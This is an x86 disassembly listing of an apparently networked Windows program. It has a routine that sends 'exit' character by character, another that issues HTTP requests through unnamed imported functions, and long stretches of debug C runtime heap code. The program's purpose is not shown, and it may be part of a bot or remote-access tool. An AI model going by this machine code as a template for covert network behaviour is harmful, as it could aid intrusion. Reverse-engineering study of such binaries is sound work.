		call	sub_4144A9
		mov	edi, offset aExit ; "exit"
		push	edi
		call	sub_414BE0
		add	esp, 10h
		test	eax, eax
		jbe	short loc_414981


loc_414948:				; CODE XREF: ___:0041497Fj
		movsx	eax, byte ptr aExit[ebx] ; "exit"
		push	eax
		push	offset aC_1	; "%c"
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_4172D0
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_4144A9
		add	esp, 1Ch
		push	7Dh
		call	esi
		push	edi
		inc	ebx
		call	sub_414BE0
		cmp	ebx, eax
		pop	ecx
		jb	short loc_414948


loc_414981:				; CODE XREF: ___:00414946j
		push	2
		pop	edi


loc_414984:				; CODE XREF: ___:0041499Dj
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_4144A9
		add	esp, 0Ch
		dec	edi
		jnz	short loc_414984
		mov	ebx, [ebp-1Ch]
		push	1
		pop	esi


loc_4149A5:				; CODE XREF: ___:004146A2j
					; ___:004146FEj ...
		push	ebx
		call	dword_4453E0
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4149B3:				; DATA XREF: sub_403038+2B6Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-35Ch]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp-148h]
		push	ebx
		push	eax
		mov	[ebp-0Ch], ebx
		mov	[ebp-4], ebx
		mov	dword ptr [ebp-8], offset asc_4437B4 ; "*/*"
		call	sub_417070
		push	edi
		lea	eax, [ebp-1C8h]
		push	ebx
		push	eax
		call	sub_417070
		push	edi
		lea	eax, [ebp-0C8h]
		push	ebx
		push	eax
		call	sub_417070
		push	100h
		lea	eax, [ebp-65Ch]
		push	ebx
		push	eax
		call	sub_417070
		push	3Ch
		lea	eax, [ebp-48h]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 3Ch
		lea	eax, [ebp-48h]
		mov	[ebp-48h], edi
		mov	[ebp-34h], esi
		push	eax
		lea	eax, [ebp-358h]
		push	ebx
		push	eax
		mov	[ebp-28h], esi
		mov	[ebp-20h], esi
		mov	[ebp-18h], esi
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	dword_445244
		test	eax, eax
		jz	loc_414B4D
		cmp	[ebp-34h], ebx
		jbe	short loc_414A8A
		push	dword ptr [ebp-34h]
		lea	eax, [ebp-148h]
		push	dword ptr [ebp-38h]
		push	eax
		call	sub_417770
		add	esp, 0Ch


loc_414A8A:				; CODE XREF: ___:00414A73j
		cmp	[ebp-28h], ebx
		movzx	esi, word ptr [ebp-30h]
		jbe	short loc_414AA8
		push	dword ptr [ebp-28h]
		lea	eax, [ebp-1C8h]
		push	dword ptr [ebp-2Ch]
		push	eax
		call	sub_417770
		add	esp, 0Ch


loc_414AA8:				; CODE XREF: ___:00414A91j
		cmp	[ebp-20h], ebx
		jbe	short loc_414AC2
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-0C8h]
		push	dword ptr [ebp-24h]
		push	eax
		call	sub_417770
		add	esp, 0Ch


loc_414AC2:				; CODE XREF: ___:00414AABj
		cmp	[ebp-18h], ebx
		jbe	short loc_414ADC
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-65Ch]
		push	dword ptr [ebp-1Ch]
		push	eax
		call	sub_417770
		add	esp, 0Ch


loc_414ADC:				; CODE XREF: ___:00414AC5j
		push	ebx
		push	ebx
		lea	eax, [ebp-0C8h]
		push	3
		push	eax
		lea	eax, [ebp-1C8h]
		push	eax
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	dword_4452F8
		call	dword_44531C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_414B65
		push	ebx
		lea	eax, [ebp-8]
		push	200h
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		lea	eax, [ebp-65Ch]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_445310
		cmp	eax, ebx
		mov	[ebp-4], eax
		jz	short loc_414B6C
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4452BC
		test	eax, eax
		jz	short loc_414B46
		push	offset dword_443830
		jmp	short loc_414B71
; ---------------------------------------------------------------------------


loc_414B46:				; CODE XREF: ___:00414B3Dj
		push	offset unk_44384C
		jmp	short loc_414B71
; ---------------------------------------------------------------------------


loc_414B4D:				; CODE XREF: ___:00414A6Aj
		lea	eax, [ebp-55Ch]
		push	offset dword_4437B8
		push	eax
		call	sub_4171D0
		mov	esi, [ebp-0Ch]
		pop	ecx
		pop	ecx
		jmp	short loc_414B7F
; ---------------------------------------------------------------------------


loc_414B65:				; CODE XREF: ___:00414B06j
		push	offset unk_4437D4
		jmp	short loc_414B71
; ---------------------------------------------------------------------------


loc_414B6C:				; CODE XREF: ___:00414B2Ej
		push	offset unk_443800


loc_414B71:				; CODE XREF: ___:00414B44j
					; ___:00414B4Bj ...
		lea	eax, [ebp-55Ch]
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx


loc_414B7F:				; CODE XREF: ___:00414B63j
		cmp	[ebp-1D4h], ebx
		jnz	short loc_414BAA
		push	ebx
		lea	eax, [ebp-55Ch]
		push	dword ptr [ebp-1D0h]
		push	eax
		lea	eax, [ebp-258h]
		push	eax
		push	dword ptr [ebp-35Ch]
		call	sub_401445
		add	esp, 14h


loc_414BAA:				; CODE XREF: ___:00414B85j
		lea	eax, [ebp-55Ch]
		push	eax
		call	sub_410557
		pop	ecx
		push	esi
		call	dword_44537C
		push	dword ptr [ebp-4]
		call	dword_44537C
		push	dword ptr [ebp-1D8h]
		call	sub_40916F
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
		pop	ebx
; ---------------------------------------------------------------------------
		db 3 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414BE0	proc near		; CODE XREF: sub_401000+34p
					; ___:004011F4p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_414C00


loc_414BEC:				; CODE XREF: sub_414BE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_414C33
		test	ecx, 3
		jnz	short loc_414BEC
		add	eax, 0


loc_414C00:				; CODE XREF: sub_414BE0+Aj
					; sub_414BE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_414C00
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_414C51
		test	ah, ah
		jz	short loc_414C47
		test	eax, 0FF0000h
		jz	short loc_414C3D
		test	eax, 0FF000000h
		jz	short loc_414C33
		jmp	short loc_414C00
; ---------------------------------------------------------------------------


loc_414C33:				; CODE XREF: sub_414BE0+11j
					; sub_414BE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_414C3D:				; CODE XREF: sub_414BE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_414C47:				; CODE XREF: sub_414BE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_414C51:				; CODE XREF: sub_414BE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_414BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C60	proc near		; CODE XREF: sub_4010AB+64p
					; sub_403038+2A45p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh


loc_414C6E:				; CODE XREF: sub_414C60+36j
		cmp	[ebp+arg_0], 0
		jnz	short loc_414C92
		push	offset dword_4334A4
		push	0
		push	3Ah
		push	offset dword_433498
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_414C92
		int	3		; Trap to Debugger


loc_414C92:				; CODE XREF: sub_414C60+12j
					; sub_414C60+2Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_414C6E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_414CB1
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 0
		jmp	short loc_414CD8
; ---------------------------------------------------------------------------


loc_414CB1:				; CODE XREF: sub_414C60+43j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_418E90
		add	esp, 4
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_414CF0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418F00
		add	esp, 4


loc_414CD8:				; CODE XREF: sub_414C60+4Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_414C60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CF0	proc near		; CODE XREF: sub_414C60+61p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax


loc_414D06:				; CODE XREF: sub_414CF0+3Ej
		cmp	[ebp+arg_0], 0
		jnz	short loc_414D2A
		push	offset dword_4334B4
		push	0
		push	77h
		push	offset dword_433498
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_414D2A
		int	3		; Trap to Debugger


loc_414D2A:				; CODE XREF: sub_414CF0+1Aj
					; sub_414CF0+37j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_414D06
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_414D9A
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41B420
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_41B2E0
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41B1B0
		add	esp, 4
		test	eax, eax
		jge	short loc_414D76
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_414D9A
; ---------------------------------------------------------------------------


loc_414D76:				; CODE XREF: sub_414CF0+7Bj
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+1Ch], 0
		jz	short loc_414D9A
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_415860
		add	esp, 8
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0


loc_414D9A:				; CODE XREF: sub_414CF0+4Dj
					; sub_414CF0+84j ...
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_414CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DB0	proc near		; CODE XREF: sub_4010AB+6p
					; sub_402599+63p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, dword_4DB12C
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_414E20
		add	esp, 14h
		pop	ebp
		retn
sub_414DB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DD0	proc near		; CODE XREF: sub_4151E0+20p
					; sub_4152A0+26p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, dword_4DB12C
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_414E20
		add	esp, 14h
		pop	ebp
		retn
sub_414DD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E00	proc near		; CODE XREF: sub_419BB0+9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_414E20
		add	esp, 14h
		pop	ebp
		retn
sub_414E00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414E20	proc near		; CODE XREF: sub_414DB0+13p
					; sub_414DD0+19p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx


loc_414E24:				; CODE XREF: sub_414E20:loc_414E78j
		push	9
		call	sub_41B780
		add	esp, 4
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_414EA0


loc_414E43:				; DATA XREF: ___:004447CCo
					; ___:00444BBCo ...
		add	esp, 10h
		mov	[ebp+var_4], eax
		push	9
		call	sub_41B820
		add	esp, 4
		cmp	[ebp+var_4], 0
		jnz	short loc_414E5F
		cmp	[ebp+arg_4], 0
		jnz	short loc_414E64


loc_414E5F:				; CODE XREF: sub_414E20+37j
		mov	eax, [ebp+var_4]
		jmp	short loc_414E7A
; ---------------------------------------------------------------------------


loc_414E64:				; CODE XREF: sub_414E20+3Dj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B670
		add	esp, 4
		test	eax, eax
		jnz	short loc_414E78
		xor	eax, eax
		jmp	short loc_414E7A
; ---------------------------------------------------------------------------


loc_414E78:				; CODE XREF: sub_414E20+52j
		jmp	short loc_414E24
; ---------------------------------------------------------------------------


loc_414E7A:				; CODE XREF: sub_414E20+42j
					; sub_414E20+56j
		mov	esp, ebp
		pop	ebp
		retn
sub_414E20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_414EA0
		add	esp, 10h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414EA0	proc near		; CODE XREF: sub_414E20+1Ep
					; ___:00414E8Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	eax, dword_443890
		and	eax, 4
		test	eax, eax
		jz	short loc_414EEC


loc_414EBC:				; CODE XREF: sub_414EA0+4Aj
		call	sub_415F70
		test	eax, eax
		jnz	short loc_414EE6
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	141h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_414EE6
		int	3		; Trap to Debugger


loc_414EE6:				; CODE XREF: sub_414EA0+23j
					; sub_414EA0+43j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_414EBC


loc_414EEC:				; CODE XREF: sub_414EA0+1Aj
		mov	edx, dword_443894
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		cmp	eax, dword_443898
		jnz	short loc_414F01
		int	3		; Trap to Debugger


loc_414F01:				; CODE XREF: sub_414EA0+5Ej
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		push	1
		call	off_443C70
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_414F84
		cmp	[ebp+arg_8], 0
		jz	short loc_414F57


loc_414F2C:				; CODE XREF: sub_414EA0+B3j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	offset aClientHookAllo ; "Client hook allocation failure at file "...
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_414F4F
		int	3		; Trap to Debugger


loc_414F4F:				; CODE XREF: sub_414EA0+ACj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_414F2C
		jmp	short loc_414F7D
; ---------------------------------------------------------------------------


loc_414F57:				; CODE XREF: sub_414EA0+8Aj
					; sub_414EA0+DBj
		push	offset aClientHookAl_0 ; "Client hook allocation failure.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_414F77
		int	3		; Trap to Debugger


loc_414F77:				; CODE XREF: sub_414EA0+D4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_414F57


loc_414F7D:				; CODE XREF: sub_414EA0+B5j
		xor	eax, eax
		jmp	loc_4151AC
; ---------------------------------------------------------------------------


loc_414F84:				; CODE XREF: sub_414EA0+84j
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_414FA6
		mov	edx, dword_443890
		and	edx, 1
		test	edx, edx
		jnz	short loc_414FA6
		mov	[ebp+var_C], 1


loc_414FA6:				; CODE XREF: sub_414EA0+F0j
					; sub_414EA0+FDj
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_414FB7
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		cmp	eax, 0FFFFFFE0h
		jbe	short loc_414FE3


loc_414FB7:				; CODE XREF: sub_414EA0+10Aj
					; sub_414EA0+13Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
		push	0
		push	0
		push	0
		push	1
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_414FD6
		int	3		; Trap to Debugger


loc_414FD6:				; CODE XREF: sub_414EA0+133j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_414FB7
		xor	eax, eax
		jmp	loc_4151AC
; ---------------------------------------------------------------------------


loc_414FE3:				; CODE XREF: sub_414EA0+115j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_415030
		cmp	[ebp+arg_4], 1
		jz	short loc_415030
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_415030
		cmp	[ebp+arg_4], 3
		jz	short loc_415030


loc_41500A:				; CODE XREF: sub_414EA0+18Ej
		push	offset aErrorMemoryAll ; "Error: memory	allocation: bad	memory bl"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	1
		call	sub_41AB10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41502A
		int	3		; Trap to Debugger


loc_41502A:				; CODE XREF: sub_414EA0+187j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41500A


loc_415030:				; CODE XREF: sub_414EA0+14Ej
					; sub_414EA0+154j ...
		mov	eax, [ebp+arg_0]
		add	eax, 24h
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41B8E0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415055
		xor	eax, eax
		jmp	loc_4151AC
; ---------------------------------------------------------------------------


loc_415055:				; CODE XREF: sub_414EA0+1ACj
		mov	edx, dword_443894
		add	edx, 1
		mov	dword_443894, edx
		cmp	[ebp+var_C], 0
		jz	short loc_4150B3
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+0Ch], 0FEDCBABCh
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+14h], 3
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+18h], 0
		jmp	loc_415153
; ---------------------------------------------------------------------------


loc_4150B3:				; CODE XREF: sub_414EA0+1C8j
		mov	edx, dword_4DB09C
		add	edx, [ebp+arg_0]
		mov	dword_4DB09C, edx
		mov	eax, dword_4DB0A4
		add	eax, [ebp+arg_0]
		mov	dword_4DB0A4, eax
		mov	ecx, dword_4DB0A4
		cmp	ecx, dword_4DB0A8
		jbe	short loc_4150E9
		mov	edx, dword_4DB0A4
		mov	dword_4DB0A8, edx


loc_4150E9:				; CODE XREF: sub_414EA0+23Bj
		cmp	dword_4DB0A0, 0
		jz	short loc_4150FF
		mov	eax, dword_4DB0A0
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		jmp	short loc_415108
; ---------------------------------------------------------------------------


loc_4150FF:				; CODE XREF: sub_414EA0+250j
		mov	edx, [ebp+var_4]
		mov	dword_4DB098, edx


loc_415108:				; CODE XREF: sub_414EA0+25Dj
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4DB0A0
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_C]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+10h], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax+14h], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[edx+18h], eax
		mov	ecx, [ebp+var_4]
		mov	dword_4DB0A0, ecx


loc_415153:				; CODE XREF: sub_414EA0+20Ej
		push	4
		xor	edx, edx
		mov	dl, byte_44389C
		push	edx
		mov	eax, [ebp+var_4]
		add	eax, 1Ch
		push	eax
		call	sub_417070
		add	esp, 0Ch
		push	4
		xor	ecx, ecx
		mov	cl, byte_44389C
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx+20h]
		push	ecx
		call	sub_417070
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		xor	eax, eax
		mov	al, byte_44389E
		push	eax
		mov	ecx, [ebp+var_4]
		add	ecx, 20h
		push	ecx
		call	sub_417070
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, 20h


loc_4151AC:				; CODE XREF: sub_414EA0+DFj
					; sub_414EA0+13Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_414EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151C0	proc near		; CODE XREF: sub_40C52A+1Ep
					; sub_40C52A+37p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4151E0
		add	esp, 14h
		pop	ebp
		retn
sub_4151C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151E0	proc near		; CODE XREF: sub_4151C0+11p
					; sub_418D40+40p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_415239
		mov	edx, [ebp+var_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_415220:				; CODE XREF: sub_4151E0+57j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_4]
		jnb	short loc_415239
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_415220
; ---------------------------------------------------------------------------


loc_415239:				; CODE XREF: sub_4151E0+2Fj
					; sub_4151E0+46j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_4151E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415240	proc near		; CODE XREF: sub_4010AB+2Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0


loc_415245:				; DATA XREF: ___:00444698o
					; ___:004446A0o
		push	0
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_415260
		add	esp, 14h
		pop	ebp
		retn
sub_415240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415260	proc near		; CODE XREF: sub_415240+11p
					; sub_419BD0+50p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_41B780
		add	esp, 4
		push	1
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4152A0
		add	esp, 18h
		mov	[ebp+var_4], eax
		push	9
		call	sub_41B820
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_415260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152A0	proc near		; CODE XREF: sub_415260+24p
					; sub_4157E0+24p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_4152D3
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_414DD0
		add	esp, 10h
		jmp	loc_4157AA
; ---------------------------------------------------------------------------


loc_4152D3:				; CODE XREF: sub_4152A0+14j
		cmp	[ebp+arg_14], 0
		jz	short loc_4152F6
		cmp	[ebp+arg_4], 0
		jnz	short loc_4152F6
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_415860
		add	esp, 8
		xor	eax, eax
		jmp	loc_4157AA
; ---------------------------------------------------------------------------


loc_4152F6:				; CODE XREF: sub_4152A0+37j
					; sub_4152A0+3Dj
		mov	eax, dword_443890
		and	eax, 4
		test	eax, eax
		jz	short loc_415332


loc_415302:				; CODE XREF: sub_4152A0+90j
		call	sub_415F70
		test	eax, eax
		jnz	short loc_41532C
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	239h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
